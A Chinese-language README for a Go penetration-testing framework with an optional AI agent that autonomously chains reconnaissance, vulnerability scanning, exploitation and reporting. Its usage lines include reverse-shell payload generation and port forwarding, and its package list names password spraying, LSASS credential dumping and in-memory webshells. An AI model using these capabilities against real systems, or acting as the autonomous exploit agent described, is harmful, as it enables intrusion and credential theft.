具备AI驱动决策引擎的渗透测试框架
使用 Go 编写的 Windows 原生渗透测试框架。采用模块化架构,并内置 AI 驱动决策引擎(兼容 OpenAI API)。
go build -ldflags="-X main.version=$(git describe --tags)" -o FUCKER.exe ./cmd/fucker/
交叉编译:
GOOS=linux GOARCH=amd64 go build -o FUCKER_linux_amd64 ./cmd/fucker/
GOOS=windows GOARCH=amd64 go build -o FUCKER_win_amd64.exe ./cmd/fucker/
GOOS=windows GOARCH=386 go build -o FUCKER_win_386.exe ./cmd/fucker/
FUCKER.exe -t example.com -portscan -fingerprint -vulnscan -report
FUCKER.exe -t example.com -subdomain -dirbuster
FUCKER.exe -socks 1080
FUCKER.exe -forward 3389:192.168.1.100:3389
FUCKER.exe -payload "revshell|10.0.0.1|4444"
| Flag | 描述 |
|---|
-t | 目标域名/IP/URL |
-p | 端口(逗号或范围,默认:80,443,22,21,3389,3306,6379,27017) |
-subdomain | 子域名枚举 |
-portscan | TCP 端口扫描 |
-fingerprint | 服务指纹识别 |
-dirbuster | 目录暴力破解 |
-vulnscan | 基于 POC 的漏洞扫描 |
-logic | 逻辑漏洞检查 |
-spray | 密码喷洒 |
-exploit | 利用模块 |
-report | 生成 HTML + JSON 报告 |
-o | 输出文件(默认:report.html) |
-socks | 在指定端口启动 SOCKS5 代理 |
-httpproxy | 在指定端口启动 HTTP 代理 |
-forward | 端口转发(本地:主机:远程) |
-payload | 生成载荷(revshell|IP|端口) |
-v | 详细输出 |
-debug | 调试输出 |
-workers | 并发工作线程数(默认:20) |
-timeout | 请求超时秒数(默认:30) |
-proxy | 代理 URL |
-audit | 审计日志路径(默认:audit.json) |
将 .env.example 复制为 .env:
| 变量 | 描述 |
|---|---|
OPENAI_BASE_URL | OpenAI 兼容 API 基础 URL |
OPENAI_API_KEY | API 密钥 |
OPENAI_MODEL_NAME | 模型(默认:gpt-4) |
PROXY | 代理 URL |
MAX_WORKERS | 最大工作线程数(默认:20) |
REQUEST_TIMEOUT | 超时秒数(默认:30) |
RETRY_COUNT | 重试次数(默认:3) |
未配置 AI 时,工具以手动 CLI 模式运行(所有参数均正常工作)。
| Package | 描述 |
|---|---|
cmd/fucker/ | 入口点、CLI 参数解析、模块编排 |
internal/ai/ | OpenAI 客户端、ReAct 代理循环、工具系统 |
internal/scanner/ | 端口扫描、子域名、指纹识别、目录爆破 |
internal/vuln/ | YAML POC 引擎、16 个内置 POC、逻辑检查器 |
internal/exploit/ | 反弹 Shell 生成器、SOCKS5/HTTP 代理、内存马 |
internal/lateral/ | 密码喷洒、LSASS minidump、SMB/RDP 代理 |
internal/report/ | HTML 模板报告、JSON 导出、风险评分 |
internal/logger/ | 分级日志、audit.json 审计追踪 |
internal/plugin/ | Python/Go 插件加载器 |
internal/config/ | .env 加载器 |
internal/common/ | 共享类型 |
当设置了 OPENAI_API_KEY 时,工具会运行 ReAct 循环:AI 代理根据先前结果决定调用哪些工具。系统提示词定义了渗透测试工作流:侦察 -> 指纹识别 -> 漏洞扫描 -> 利用 -> 报告。
未配置 AI 时,所有功能均可通过 CLI 参数使用。